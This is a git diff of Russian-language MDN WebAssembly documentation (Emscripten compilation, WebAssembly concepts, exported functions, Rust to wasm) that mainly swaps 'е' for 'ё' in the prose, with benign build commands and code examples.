            • -o hello.html — Указывает, что мы хотим, чтобы Emscripten сгенерировал HTML-страницу hello.html запускающую наш код, а также сам модуль wasm и код JavaScript который позволит использовать модуль в веб-среде.
              • 
 
            
 
@@ -61,9 +61,9 @@ int main(int argc, char ** argv) {
 
 
            Запуск вашего примера
            
 
-
            Теперь, все что нужно чтобы запустить полученный  hello.html в браузере, это поддержка WebAssembly. Он включен по умолчанию в Firefox 52+, Chrome 57+ и последних версиях Opera. Также вы можете использовать модули WebAssembly в Firefox 47+, включив флаг javascript.options.wasm в about:config, или в Chrome 51+ и Opera 38+ перейдя в chrome://flags и включив флаг Experimental WebAssembly.
            
+
            Теперь, все что нужно чтобы запустить полученный  hello.html в браузере, это поддержка WebAssembly. Он включён по умолчанию в Firefox 52+, Chrome 57+ и последних версиях Opera. Также вы можете использовать модули WebAssembly в Firefox 47+, включив флаг javascript.options.wasm в about:config, или в Chrome 51+ и Opera 38+ перейдя в chrome://flags и включив флаг Experimental WebAssembly.
            
 
-
            Если все работает как планировалось, вы должны увидеть надпись "Hello world" на открывшейся веб-странице и в JavaScript консоли вашего браузера. Поздравляем, вы только что скомпилировали программу на Си в WebAssembly и запустили ее в своем браузере!
            
+
            Если все работает как планировалось, вы должны увидеть надпись "Hello world" на открывшейся веб-странице и в JavaScript консоли вашего браузера. Поздравляем, вы только что скомпилировали программу на Си в WebAssembly и запустили её в своём браузере!
            
 
 
            
 
            Примечание: На самом деле, если просто открыть полученный hello.html, то ничего работать не будет. Подразумевается что все файлы находятся на веб-сервере и вы запускаете страницу через localhost/hello.html. Для этих целей можно использовать отладочный веб-сервер Emscripten. Чтобы его запустить, откройте терминал, перейдите в каталог, в котором находятся ваши файлы и выполните команду emrun hello.html
            
@@ -100,7 +100,7 @@ int main(int argc, char ** argv) {
   
  
  
          • 
-  
            Теперь давайте запустим этот пример. Команда, указанная выше, сгенерирует файл hello2.html, который будет иметь тоже содержание что и шаблон, но с некоторым кодом, добавленным в процесс загрузки сгенерированного wasm, запускающим его и т.д. Откройте его в своем браузере, и вы увидите тот же результат, что и прошлом примере.
            
+  
            Теперь давайте запустим этот пример. Команда, указанная выше, сгенерирует файл hello2.html, который будет иметь тоже содержание что и шаблон, но с некоторым кодом, добавленным в процесс загрузки сгенерированного wasm, запускающим его и т.д. Откройте его в своём браузере, и вы увидите тот же результат, что и прошлом примере.
            
  
            • 
 
 
@@ -108,9 +108,9 @@ int main(int argc, char ** argv) {
 
            Примечание: Вы можете указать компилятору создавать только JavaScript кода, без HTML, используя внутри флага -o, .js вместо .html для формата выходного файла, например emcc -o hello2.js hello2.c -O3 -s WASM=1. После этого вы должны создать свой собственный HTML файл с нуля. Однако так делать не рекомендуется — Emscripten требуется большое количество связывающего кода для обработки операций выделения памяти, утечек памяти и других проблем, которые уже включены в предоставляемый шаблон. Намного легче использовать уже готовое решение, чем создавать свои собственные версии самому.
            
 
            
 
-
            Вызов пользовательской функции, определенной в Си
            
+
            Вызов пользовательской функции, определённой в Си
            
 
-
            Если у вас есть функция определенная в коде на Си, которую вы хотите по необходимости вызывать из JavaScript, то вы можете использовать для этого функцию  ccall() из Emscripten, и объявление EMSCRIPTEN_KEEPALIVE которое добавит вашу функцию в список экспортируемых функций (см. Почему функции в моем коде исчезают после компиляции и/или я получаю сообщение «Нет функций для обработки»). Давайте посмотрим, как это работает.
            
+
            Если у вас есть функция определённая в коде на Си, которую вы хотите по необходимости вызывать из JavaScript, то вы можете использовать для этого функцию  ccall() из Emscripten, и объявление EMSCRIPTEN_KEEPALIVE которое добавит вашу функцию в список экспортируемых функций (см. Почему функции в моем коде исчезают после компиляции и/или я получаю сообщение «Нет функций для обработки»). Давайте посмотрим, как это работает.
            
 
 
              
  
            1. 
@@ -138,19 +138,19 @@ void EMSCRIPTEN_KEEPALIVE myFunction(int argc, char ** argv) {
   
              По умолчанию, код созданный Emscripten, всегда просто вызывает функцию  main() , а остальные неиспользуемые функции удаляются. Добавьте определение EMSCRIPTEN_KEEPALIVE перед именем функции чтобы этого не происходило. Также вы должны подключить библиотеку emscripten.h для использования EMSCRIPTEN_KEEPALIVE.
              
 
   
              
-  
              Примечание: Мы используем блоки #ifdef чтобы, пример оставался рабочим если вы попытаетесь использовать C++ код. Из за различия в правилах преобразования имен между Си и Си++, этот код может сломаться, но мы написали его так, что функция будет рассматриваться как функция Си даже если вы будете использовать Си++.
              
+  
              Примечание: Мы используем блоки #ifdef чтобы, пример оставался рабочим если вы попытаетесь использовать C++ код. Из за различия в правилах преобразования имён между Си и Си++, этот код может сломаться, но мы написали его так, что функция будет рассматриваться как функция Си даже если вы будете использовать Си++.
              
   
              
  
              2. 
  
            2. 
-  
              Теперь добавьте html_template/shell_minimal.html в ваш новый каталог, просто для удобства. В настоящем проекте стоит размещать его в специально определенный каталог.
              
+  
              Теперь добавьте html_template/shell_minimal.html в ваш новый каталог, просто для удобства. В настоящем проекте стоит размещать его в специально определённый каталог.
              
  
              3. 
  
            3. 
-  
              Теперь снова займемся этапом компиляции. Внутри вашего последнего каталога, используя терминал, скомпилируйте ваш Си код следующей командой. (Обратите внимание что при компиляции обязательно нужно использовать опцию NO_EXIT_RUNTIME, иначе после выполнения функции main(), рабочий цикл будет завершен. Это приведет, например, к вызову функции atexits и дальше будет невозможно использовать наш скомпилированный код. Другими словами это необходимо для правильной эмуляции Си.)
              
+  
              Теперь снова займёмся этапом компиляции. Внутри вашего последнего каталога, используя терминал, скомпилируйте ваш Си код следующей командой. (Обратите внимание что при компиляции обязательно нужно использовать опцию NO_EXIT_RUNTIME, иначе после выполнения функции main(), рабочий цикл будет завершён. Это приведёт, например, к вызову функции atexits и дальше будет невозможно использовать наш скомпилированный код. Другими словами это необходимо для правильной эмуляции Си.)
              
 
   
              emcc -o hello3.html hello3.c -O3 -s WASM=1 --shell-file html_template/shell_minimal.html -s NO_EXIT_RUNTIME=1  -s EXTRA_EXPORTED_RUNTIME_METHODS='["ccall"]'
              
  
              4. 
  
            4. 
-  
              Если вы снова запустите пример в своем браузере, вы увидите тоже самое что и до этого!
              
+  
              Если вы снова запустите пример в своём браузере, вы увидите тоже самое что и до этого!
              
  
              5. 
  
            5. 
   
              Теперь нам нужно вызвать нашу новую функцию myFunction() из JavaScript. Прежде всего, добавьте {{htmlelement("button")}} как показано ниже, чуть выше первого открывающего тега <script type='text/javascript'>.
              
diff --git a/files/ru/webassembly/concepts/index.html b/files/ru/webassembly/concepts/index.html
index dde3fc40a4..2f1caad232 100644
--- a/files/ru/webassembly/concepts/index.html
+++ b/files/ru/webassembly/concepts/index.html
@@ -5,7 +5,7 @@ translation_of: WebAssembly/Concepts
 ---
 
              {{WebAssemblySidebar}}
              
 
-
              В этой статье объясняются концепции, лежащие в основе работы технологии WebAssembly, включая ее цели, проблемы, которые она решает, и то, как она работает в движке рендеринга веб-браузера.
              
+
              В этой статье объясняются концепции, лежащие в основе работы технологии WebAssembly, включая её цели, проблемы, которые она решает, и то, как она работает в движке рендеринга веб-браузера.
              
 
 
              Что такое WebAssembly?
              
 
@@ -17,11 +17,11 @@ translation_of: WebAssembly/Concepts
 
 
              Цели WebAssembly
              
 
-
              Технология WebAssembly создается как открытый стандарт внутри W3C WebAssembly Community Group со следующими целями:
              
+
              Технология WebAssembly создаётся как открытый стандарт внутри W3C WebAssembly Community Group со следующими целями:
              
 
 
                
  
              • Быть быстрым, эффективным и переносимым - код WebAssembly может выполняться практически на естественной скорости на разных платформах, используя преимущества аппаратных возможностей.
                • 
- 
              • Быть читаемым и отлаживаемым - WebAssembly - это низкоуровневый ассемблерный язык, но он имеет читабельный текстовый формат (спецификация для которого еще дорабатывается), который позволяет писать, просматривать и отлаживать код вручную.   
                • 
+ 
              • Быть читаемым и отлаживаемым - WebAssembly - это низкоуровневый ассемблерный язык, но он имеет читабельный текстовый формат (спецификация для которого ещё дорабатывается), который позволяет писать, просматривать и отлаживать код вручную.   
                • 
  
              • Поддерживать безопасность - код WebAssembly предназначен для запуска в безопасной, изолированной среде выполнения. Как и другой веб-код, он будет соблюдать политики безопасности браузера.
                • 
  
              • Не разрушать текущий веб - технология WebAssembly разработана так, что она прекрасно сочетается с другими веб-технологиями и поддерживает обратную совместимость.
                • 
 
              
@@ -41,7 +41,7 @@ translation_of: WebAssembly/Concepts
 
 
              Исторически ВМ могла загружать только JavaScript. Раньше нас это вполне устраивало, поскольку JavaScript достаточно мощный, чтобы решать большинство проблем, с которыми мы сталкивались в интернете. Однако мы столкнулись с проблемами производительности, когда попытались использовать JavaScript для более нагруженных сценариев использования, таких как 3D-игры, виртуальная и дополненная реальность, компьютерное зрение, редактирование изображений / видео и в ряде других применений, которые требуют повышенной производительности (см. варианты использования WebAssembly где описано больше идей).
              
 
-
              Кроме того, длительность загрузки, анализа и компиляции очень больших приложений JavaScript может быть непомерно высокой. Мобильные и другие ограниченные в ресурсах платформы могут еще более понизить  производительность.
              
+
              Кроме того, длительность загрузки, анализа и компиляции очень больших приложений JavaScript может быть непомерно высокой. Мобильные и другие ограниченные в ресурсах платформы могут ещё более понизить  производительность.
              
 
 
              Язык WebAssembly отличается от языка JavaScript, но он не предназначен для его замены. Он предназначен для дополнения и работы вместе с JavaScript, что позволяет веб-разработчикам использовать преимущества обоих языков:
              
 
@@ -59,19 +59,19 @@ translation_of: WebAssembly/Concepts
 
              Есть несколько ключевых понятий, необходимых для понимания того, как WebAssembly работает в браузере. Все эти понятия отражены 1:1 в WebAssembly JavaScript API.
              
 
 
                
- 
              • Модуль: Представляет двоичный файл WebAssembly, который был скомпилирован браузером в исполняемый машинный код. Модуль не имеет состояния и, таким образом, как Blob, может быть явным образом разделен между windows и workers (через postMessage()). В модуле есть объявление импорта и экспорта точно такое же, как и в модуле ES2015.
                • 
+ 
              • Модуль: Представляет двоичный файл WebAssembly, который был скомпилирован браузером в исполняемый машинный код. Модуль не имеет состояния и, таким образом, как Blob, может быть явным образом разделён между windows и workers (через postMessage()). В модуле есть объявление импорта и экспорта точно такое же, как и в модуле ES2015.
                • 
  
              • Память: Массив ArrayBuffer изменяемого размера, который содержит линейный массив байтов, считываемых и записываемых инструкциями низкоуровневого доступа к памяти в WebAssembly. 
                • 
  
              • Таблица: Типизированный массив ссылок изменяемого размера (например, для функций), которые не могут быть размещены в памяти в виде байтов (по соображениям безопасности и переносимости).
                • 
- 
              • Экземпляр: Модуль в паре со своим состоянием, которое он использует во время выполнения, включая память, таблицу и набор импортируемых значений. Экземпляр  модуля похож на модуль ES2015, который был загружен в определенную глобальную переменную с определенным набором импортов.
                • 
+ 
              • Экземпляр: Модуль в паре со своим состоянием, которое он использует во время выполнения, включая память, таблицу и набор импортируемых значений. Экземпляр  модуля похож на модуль ES2015, который был загружен в определённую глобальную переменную с определённым набором импортов.
                • 
 
              
 
-
              JavaScript API предоставляет разработчикам возможность создавать модули, объекты памяти, таблицы и экземпляры модулей. Получив экземпляр модуля WebAssembly, код JavaScript может синхронно вызывать его экспорты, которые представляются как обычные функции JavaScript. Любые функции JavaScript также могут синхронно вызываться кодом WebAssembly путем передачи этих функций в качестве импорта в экземпляр модуля WebAssembly.
              
+
              JavaScript API предоставляет разработчикам возможность создавать модули, объекты памяти, таблицы и экземпляры модулей. Получив экземпляр модуля WebAssembly, код JavaScript может синхронно вызывать его экспорты, которые представляются как обычные функции JavaScript. Любые функции JavaScript также могут синхронно вызываться кодом WebAssembly путём передачи этих функций в качестве импорта в экземпляр модуля WebAssembly.
              
 
 
              Поскольку JavaScript полностью контролирует загрузку, компиляцию и запуск кода WebAssembly, разработчики JavaScript могут рассматривать технологию  WebAssembly как расширение JavaScript для эффективной генерации высокопроизводительных функций.
              
 
 
              В будущем модули WebAssembly будут загружаться так же, как и модули ES2015 (с использованием <script type='module'>), что означает, что JavaScript сможет извлекать, компилировать и импортировать модуль WebAssembly так же легко, как модуль ES2015.
              
 
-
              Как я могу использовать WebAssembly в своем приложении?
              
+
              Как я могу использовать WebAssembly в своём приложении?
              
 
 
              Выше мы говорили о низкоуровневых примитивах, которые WebAssembly добавляет к веб-платформе: двоичный формат для кода и API для его загрузки и запуска. Теперь давайте поговорим о том, как мы можем использовать эти примитивы на практике.
              
 
@@ -87,7 +87,7 @@ translation_of: WebAssembly/Concepts
 
 
              Портирование из C/C++
              
 
-
              Из множества вариантов создания кода WASM есть два наиболее популярных - это онлайн-сборщик wasm или Emscripten. Существует еще несколько вариантов сборки WASM, таких как:
              
+
              Из множества вариантов создания кода WASM есть два наиболее популярных - это онлайн-сборщик wasm или Emscripten. Существует ещё несколько вариантов сборки WASM, таких как:
              
 
 
                
  
              • WasmFiddle
                • 
@@ -104,9 +104,9 @@ translation_of: WebAssembly/Concepts
 
                В двух словах, процесс работает следующим образом:
                
 
 
                  
- 
                1. Сначала Emscripten передает код C/C++ в clang + LLVM - набор инструментов компилятора C/C++ с открытым исходным кодом, который поставляется, например, как часть XCode для OSX.
                  2. 
+ 
                2. Сначала Emscripten передаёт код C/C++ в clang + LLVM - набор инструментов компилятора C/C++ с открытым исходным кодом, который поставляется, например, как часть XCode для OSX.
                  3. 
  
                3. Emscripten преобразует скомпилированный результат clang + LLVM в двоичный файл .wasm.   
                  4. 
- 
                4. Сам по себе код WebAssembly в настоящее время не может напрямую обращаться к DOM; он может вызывать только JavaScript, передавая целочисленные и числа с плавающей точкой примитивные типы данных. Таким образом, чтобы получить доступ к любому Web-API, WebAssembly модуль должен обращаться к JavaScript, который затем вызывает Web-API. Поэтому Emscripten создает необходимый для этого связующий код HTML и JavaScript.
                  5. 
+ 
                5. Сам по себе код WebAssembly в настоящее время не может напрямую обращаться к DOM; он может вызывать только JavaScript, передавая целочисленные и числа с плавающей точкой примитивные типы данных. Таким образом, чтобы получить доступ к любому Web-API, WebAssembly модуль должен обращаться к JavaScript, который затем вызывает Web-API. Поэтому Emscripten создаёт необходимый для этого связующий код HTML и JavaScript.
                  6. 
 
                
 
 
                
diff --git a/files/ru/webassembly/exported_functions/index.html b/files/ru/webassembly/exported_functions/index.html
index c586422de3..d46ae2ad53 100644
--- a/files/ru/webassembly/exported_functions/index.html
+++ b/files/ru/webassembly/exported_functions/index.html
@@ -14,7 +14,7 @@ translation_of: WebAssembly/Exported_functions
 
 
                Экспортированные… что?
                
 
-
                Экспортированные функции это просто JavaScript обертки, которые вызывают функции модуля WebAssembly. При их использовании происходит неявное преобразование типов аргументов функции в типы, с которыми может работать WebAssembly (например, преобразование number в int32). Дальше эти аргументы передаются функции вашего модуля и она вызывается. Результат также преобразовывается и возвращается в JavaScript.
                
+
                Экспортированные функции это просто JavaScript обёртки, которые вызывают функции модуля WebAssembly. При их использовании происходит неявное преобразование типов аргументов функции в типы, с которыми может работать WebAssembly (например, преобразование number в int32). Дальше эти аргументы передаются функции вашего модуля и она вызывается. Результат также преобразовывается и возвращается в JavaScript.
                
 
 
                Вы можете получить список экспортированных функций двумя способами:
                
 
@@ -23,11 +23,11 @@ translation_of: WebAssembly/Exported_functions
  
              • Через Instance.exports существующего экземпляра модуля.
                • 
 
              
 
-
              В любом случае вы получаете одну и туже обертку функции вашего модуля. С точки зрения JavaScript, все экспортированные функции wasm являются функциями JavaScript, но они инкапсулированы экземпляром модуля wasm, и имеют только ограниченный способ доступа к ним.
              
+
              В любом случае вы получаете одну и туже обёртку функции вашего модуля. С точки зрения JavaScript, все экспортированные функции wasm являются функциями JavaScript, но они инкапсулированы экземпляром модуля wasm, и имеют только ограниченный способ доступа к ним.
              
 
 
              Пример
              
 
-
              Давайте посмотрим на пример, чтобы прояснить ситуацию (вы можете найти его на GitHub как table-set.html или запустить в своем браузере, и посмотреть текстовое представление модуля wasm):
              
+
              Давайте посмотрим на пример, чтобы прояснить ситуацию (вы можете найти его на GitHub как table-set.html или запустить в своём браузере, и посмотреть текстовое представление модуля wasm):
              
 
 
              var otherTable = new WebAssembly.Table({ element: "anyfunc", initial: 2 });
 
@@ -42,7 +42,7 @@ WebAssembly.instantiateStreaming(fetch('table.wasm'))
   console.log(otherTable.get(1)());
 });
              
 
-
              Здесь мы создаем таблицу otherTable из JavaScript используя конструктор {{jsxref("WebAssembly.Table")}}, после этого мы загружаем модуль table.wasm при помощи функции {{jsxref("WebAssembly.instantiateStreaming()")}}.
              
+
              Здесь мы создаём таблицу otherTable из JavaScript используя конструктор {{jsxref("WebAssembly.Table")}}, после этого мы загружаем модуль table.wasm при помощи функции {{jsxref("WebAssembly.instantiateStreaming()")}}.
              
 
 
              Затем мы получаем объект содержащий все функции, экспортированные из экземпляра модуля. Извлекаем ссылки на эти функции через  tbl.get(), вызываем их и выводим результат работы в консоль. Затем мы используем set() чтобы таблица  otherTable содержала ссылки на те же функции, что и таблица tbl.
              
 
@@ -52,7 +52,7 @@ WebAssembly.instantiateStreaming(fetch('table.wasm'))
 
 
              В предыдущем примере возвращаемое значение каждого вызова Table.prototype.get() является экспортированной функцией WebAssembly — это именно то, о чем мы говорили.
              
 
-
              Стоит заметить что помимо того что они являются обертками для функций WebAssembly, это обычные функции JavaScript. Если вы загрузите приведенный выше пример в браузере с поддержкой WebAssembly, и запустите следующие строки в консоли:
              
+
              Стоит заметить что помимо того что они являются обёртками для функций WebAssembly, это обычные функции JavaScript. Если вы загрузите приведённый выше пример в браузере с поддержкой WebAssembly, и запустите следующие строки в консоли:
              
 
 
              var testFunc = otherTable.get(0);
 typeof testFunc;
              
@@ -70,5 +70,5 @@ typeof testFunc;
            
 
              
  
            • Их свойство length это количество аргументов указанных в сигнатуре wasm функции.
              • 
  
            • Их свойство name является результатом вызова toString() индекса функции в модуле wasm.
              • 
- 
            • Если вы попытаетесь вызвать экспортированную функцию wasm, которая принимает или возвращает значение типа i64, то это приведет к ошибке, поскольку в настоящее время JavaScript не имеет точного способа представления i64. Однако в дальнейшем это может измениться - новый тип int64 рассматривается для будущих стандартов, который затем может использоваться wasm.
              • 
+ 
            • Если вы попытаетесь вызвать экспортированную функцию wasm, которая принимает или возвращает значение типа i64, то это приведёт к ошибке, поскольку в настоящее время JavaScript не имеет точного способа представления i64. Однако в дальнейшем это может измениться - новый тип int64 рассматривается для будущих стандартов, который затем может использоваться wasm.
              • 
 
            
diff --git a/files/ru/webassembly/index.html b/files/ru/webassembly/index.html
index 84e0c56b57..0d5c9c5d30 100644
--- a/files/ru/webassembly/index.html
+++ b/files/ru/webassembly/index.html
@@ -13,7 +13,7 @@ translation_of: WebAssembly
 
 
            WebAssembly разработан для дополнения JavaScript – используя WebAssembly JavaScript API вы можете загружать модули WebAssembly в приложения JavaScript и обеспечивать взаимодействие между ними, используя общие функции. Такой подход позволяет вам получить производительность и мощность WebAssembly, а также выразительность и гибкость JavaScript в ваших приложениях, даже если вы не знаете как писать код WebAssembly, а используете готовые модули.
            
 
-
            И что еще лучше, так это то, что WebAssembly разрабатывается как веб-стандарт W3C WebAssembly Working Group и Community Group при активном участии основных производителей браузеров.
            
+
            И что ещё лучше, так это то, что WebAssembly разрабатывается как веб-стандарт W3C WebAssembly Working Group и Community Group при активном участии основных производителей браузеров.
            
 
 
            
 
            
@@ -46,7 +46,7 @@ translation_of: WebAssembly
 
 
            
  
            {{jsxref("Global_objects/WebAssembly", "WebAssembly")}}
            
- 
            Этот объект является пространством имен для всех функций, связанных с WebAssembly.
            
+ 
            Этот объект является пространством имён для всех функций, связанных с WebAssembly.
            
  
            {{jsxref("Global_objects/WebAssembly/Module", "WebAssembly.Module()")}}
            
  
            Объект WebAssembly.Module содержит не контролируемый WebAssembly код, который уже скомпилирован браузером и может эффективно использоваться совместно с Workers, кешироваться в IndexedDB, и иметь несколько экземпляров.
            
  
            {{jsxref("Global_objects/WebAssembly/Instance", "WebAssembly.Instance()")}}
            
@@ -58,11 +58,11 @@ translation_of: WebAssembly
  
            {{jsxref("Global_objects/WebAssembly/Table", "WebAssembly.Table()")}}
            
  
            WebAssembly.Table объект является изменяемым типизированным массивом значений, таких как ссылки на функции, которые доступны Instance.
            
  
            {{jsxref("WebAssembly.CompileError()")}}
            
- 
            Создает новый WebAssembly CompileError объект.
            
+ 
            Создаёт новый WebAssembly CompileError объект.
            
  
            {{jsxref("WebAssembly.LinkError()")}}
            
- 
            Создает новый WebAssembly LinkError объект.
            
+ 
            Создаёт новый WebAssembly LinkError объект.
            
  
            {{jsxref("WebAssembly.RuntimeError()")}}
            
- 
            Создает новый WebAssembly RuntimeError объект.
            
+ 
            Создаёт новый WebAssembly RuntimeError объект.
            
 
            
 
            
 
            
@@ -96,7 +96,7 @@ translation_of: WebAssembly
 
            Совместимость с браузерами
            
 
 
            
-
+
 
 
            {{Compat("javascript.builtins.WebAssembly")}}
            
 
            
diff --git a/files/ru/webassembly/loading_and_running/index.html b/files/ru/webassembly/loading_and_running/index.html
index a796cc7a30..20460d2e40 100644
--- a/files/ru/webassembly/loading_and_running/index.html
+++ b/files/ru/webassembly/loading_and_running/index.html
@@ -15,7 +15,7 @@ translation_of: WebAssembly/Loading_and_running
 
 
            Какие есть варианты?
            
 
-
            WebAssembly еще не интегрирована с  <script type='module'> или ES2015 оператором import, поэтому не существует пути, позволяющего использовать модули загрузки браузера для использования импорта.
            
+
            WebAssembly ещё не интегрирована с  <script type='module'> или ES2015 оператором import, поэтому не существует пути, позволяющего использовать модули загрузки браузера для использования импорта.
            
 
 
            Старые методы {{jsxref("WebAssembly.compile")}}/{{jsxref("WebAssembly.instantiate")}} требуют создания {{domxref("ArrayBuffer")}}, содержащего двоичный файл модуля WebAssembly после загрузки необработанных байтов, а затем скомпилировать/создать его экземпляр. Это аналог new Function(string), за исключением того, что мы заменяем строку символов (исходный код JavaScript) буфером байтов массива (исходный код WebAssembly).
            
 
diff --git a/files/ru/webassembly/rust_to_wasm/index.html b/files/ru/webassembly/rust_to_wasm/index.html
index 629987ff09..381d424bf0 100644
--- a/files/ru/webassembly/rust_to_wasm/index.html
+++ b/files/ru/webassembly/rust_to_wasm/index.html
@@ -22,7 +22,7 @@ translation_of: WebAssembly/Rust_to_wasm
 
 
            Настройка окружения Rust
            
 
-
            Давайте пройдемся по всем пунктам, необходимым для настройки нашего окружения.
            
+
            Давайте пройдёмся по всем пунктам, необходимым для настройки нашего окружения.
            
 
 
            Установка Rust
            
 
@@ -55,12 +55,12 @@ Password:
 Email: (this IS public) you@example.com
 
 
-
            Вам понадобится ввести свое пользовательское имя, пароль и email. Если все получится, вы увидите:
            
+
            Вам понадобится ввести своё пользовательское имя, пароль и email. Если все получится, вы увидите:
            
 
 
            Logged in as yournpmusername on https://registry.npmjs.org/.
 
            
 
-
            Если что-то пойдет не так, свяжитесь с командой npm, чтобы разобраться.
            
+
            Если что-то пойдёт не так, свяжитесь с командой npm, чтобы разобраться.
            
 
 
            Создание WebAssembly npm-пакета
            
 
@@ -111,7 +111,7 @@ pub fn greet(name: &str) {
 }
 
 
-
            Это содержимое нашего проекта на Rust. У него есть три основные части, давайте пройдемся по ним по очереди. Мы дадим здесь обобщенное пояснение и поясним некоторые детали; чтобы узнать больше о Rust, пожалуйста, просмотрите бесплатную online-книгу The Rust Programming Language.
            
+
            Это содержимое нашего проекта на Rust. У него есть три основные части, давайте пройдёмся по ним по очереди. Мы дадим здесь обобщённое пояснение и поясним некоторые детали; чтобы узнать больше о Rust, пожалуйста, просмотрите бесплатную online-книгу The Rust Programming Language.
            
 
 
            Использование wasm-bindgen для коммуникации между Rust и JavaScript
            
 
@@ -144,13 +144,13 @@ extern {
 }
 
 
-
            Частичка внутри #[] называется "атрибутом", и она кое-как модифицирует следующее за ней утверждение. В нашем случае, это утверждение extern, которое говорит Rust-у, что мы хотим вызвать некоторую функцию, определенную во внешнем пространстве. Атрибут говорит: "wasm-bindgen знает, как найти эти функции".
            
+
            Частичка внутри #[] называется "атрибутом", и она кое-как модифицирует следующее за ней утверждение. В нашем случае, это утверждение extern, которое говорит Rust-у, что мы хотим вызвать некоторую функцию, определённую во внешнем пространстве. Атрибут говорит: "wasm-bindgen знает, как найти эти функции".
            
 
 
            Третья строка это имя функции, написанной на Rust. Она говорит: "функция alert  принимает один аргумент, строку с именем s."
            
 
 
            У вас, возможно, есть предположение, что это за функция, и, возможно, ваше предположение верное: это функция alert, предоставляемая JavaScript! Мы будем вызывать эту функцию в следующей секции.
            
 
-
            Когда бы вы не захотели вызвать новую функцию JavaScript, вы можете написать ее здесь, и wasm-bindgen позаботится о том, чтобы настроить все для вас. Пока еще поддерживается не все, но мы работаем над этим! Пожалуйста, сообщайте о проблемах, если что-то было упущено.
            
+
            Когда бы вы не захотели вызвать новую функцию JavaScript, вы можете написать её здесь, и wasm-bindgen позаботится о том, чтобы настроить все для вас. Пока ещё поддерживается не все, но мы работаем над этим! Пожалуйста, сообщайте о проблемах, если что-то было упущено.
            
 
 
            Создание функций Rust, который может вызывать JavaScript
            
 
@@ -162,15 +162,15 @@ pub fn greet(name: &str) {
 }
 
 
-
            Еще раз, мы видим #[wasm_bindgen] атрибут. В этом случае, он модифицирует не блок extern, а fn; это значит, что мы хотим, чтобы эта функция на Rust была доступна для JavaScript. Прямо противоположно extern: это не те функции, которые нам нужны, а те, что мы предоставляем миру!
            
+
            Ещё раз, мы видим #[wasm_bindgen] атрибут. В этом случае, он модифицирует не блок extern, а fn; это значит, что мы хотим, чтобы эта функция на Rust была доступна для JavaScript. Прямо противоположно extern: это не те функции, которые нам нужны, а те, что мы предоставляем миру!
            
 
-
            Наша функция называется greet, и она принимает один аргумент, строку (пишется &str), name. Затем она вызывает функцию alert, которую мы запросили в блоке extern выше. Она передает вызов макросу format!, который позволяет нам соединить строки.
            
+
            Наша функция называется greet, и она принимает один аргумент, строку (пишется &str), name. Затем она вызывает функцию alert, которую мы запросили в блоке extern выше. Она передаёт вызов макросу format!, который позволяет нам соединить строки.
            
 
-
            format! принимает два аргумента в нашем случае: форматируемую строку и переменную, которую должен в нее поместить. Форматируемая строка это "Hello, {}!" часть. Она содержит {}, куда будет вставлена переменная. Переменная, которую мы передаем, это name, аргумент функции, так что если мы вызовем greet("Steve"), то увидим "Hello, Steve!".
            
+
            format! принимает два аргумента в нашем случае: форматируемую строку и переменную, которую должен в неё поместить. Форматируемая строка это "Hello, {}!" часть. Она содержит {}, куда будет вставлена переменная. Переменная, которую мы передаём, это name, аргумент функции, так что если мы вызовем greet("Steve"), то увидим "Hello, Steve!".
            
 
-
            Все это передается в alert(), так что когда мы вызовем функцию, мы увидим алерт с "Hello, Steve!" внутри него!
            
+
            Все это передаётся в alert(), так что когда мы вызовем функцию, мы увидим алерт с "Hello, Steve!" внутри него!
            
 
-
            Теперь, когда наша библиотека написана, давайте соберем ее.
            
+
            Теперь, когда наша библиотека написана, давайте соберём ее.
            
 
 
            Компиляция кода в WebAssembly
            
 
@@ -199,7 +199,7 @@ wasm-bindgen = "0.2"
 
 
            Сборка пакета
            
 
-
            Теперь, когда мы все установили, давайте соберем проект! Введите это в терминале:
            
+
            Теперь, когда мы все установили, давайте соберём проект! Введите это в терминале:
            
 
 
            $ wasm-pack build --scope mynpmusername
 
            
@@ -209,8 +209,8 @@ wasm-bindgen = "0.2"
 
              
  
            1. Компилирует ваш Rust-код в WebAssembly.
              2. 
  
            2. Запускает wasm-bindgen с этим WebAssembly, генерируя JavaScript файл, который оборачивает WebAssembly файл в модуль. который может понять npm.
              3. 
- 
            3. Создает папку pkg, куда перемещает этот JavaScript файл и ваш код WebAssembly.
              4. 
- 
            4. Читает ваш Cargo.toml и создает эквивалентный package.json.
              5. 
+ 
            5. Создаёт папку pkg, куда перемещает этот JavaScript файл и ваш код WebAssembly.
              6. 
+ 
            6. Читает ваш Cargo.toml и создаёт эквивалентный package.json.
              7. 
  
            7. Копирует ваш README.md (если есть) в пакет.
              8. 
 
            
 
@@ -232,7 +232,7 @@ $ npm publish --access=public
 
 
            Использование пакета в web
            
 
-
            Давайте создадим сайт, который будет использовать наш пакет! Многие пользуются пакетами npm с помощью разных сборщиков, и мы будем использовать один из них, webpack, в этом руководстве. Он только немного более усложненный, но описывает более реалистичный вариант использования.
            
+
            Давайте создадим сайт, который будет использовать наш пакет! Многие пользуются пакетами npm с помощью разных сборщиков, и мы будем использовать один из них, webpack, в этом руководстве. Он только немного более усложнённый, но описывает более реалистичный вариант использования.
            
 
 
            Давайте выйдем из нашей папки pkg и создадим новую, site, чтобы попробовать в ней следующее:
            
 
@@ -258,7 +258,7 @@ $ cd site
 }
 
 
-
            Заметьте, что вам нужно ввести свое пользовательское имя после @ в секции зависимостей.
            
+
            Заметьте, что вам нужно ввести своё пользовательское имя после @ в секции зависимостей.
            
 
 
            Дальше нам нужно сконфигурировать Webpack. Создайте webpack.config.js и введите следующее:
            
 
@@ -297,7 +297,7 @@ js.then(js => {
 
 
            Заметьте, что вам нужно будет снова ввести ваше имя для npm.
            
 
-
            Так мы импортируем наш модуль из папки node_modules. Это не считается лучшей практикой, но это пример, так что пока сойдет. Как только файл загрузится, он вызовет функцию greet из этого модуля, передав "WebAssembly", как строку. Обратите внимание, что здесь нет ничего особенного, и все же мы вызываем код на Rust! Насколько JavaScript код может судить, это просто обычный модуль.
            
+
            Так мы импортируем наш модуль из папки node_modules. Это не считается лучшей практикой, но это пример, так что пока сойдёт. Как только файл загрузится, он вызовет функцию greet из этого модуля, передав "WebAssembly", как строку. Обратите внимание, что здесь нет ничего особенного, и все же мы вызываем код на Rust! Насколько JavaScript код может судить, это просто обычный модуль.
            
 
 
            Мы закончили! Давайте попробуем:
            
 
diff --git a/files/ru/webassembly/understanding_the_text_format/index.html b/files/ru/webassembly/understanding_the_text_format/index.html
index 38934e21f2..226a873888 100644
--- a/files/ru/webassembly/understanding_the_text_format/index.html
+++ b/files/ru/webassembly/understanding_the_text_format/index.html
@@ -8,14 +8,14 @@ translation_of: WebAssembly/Understanding_the_text_format
 
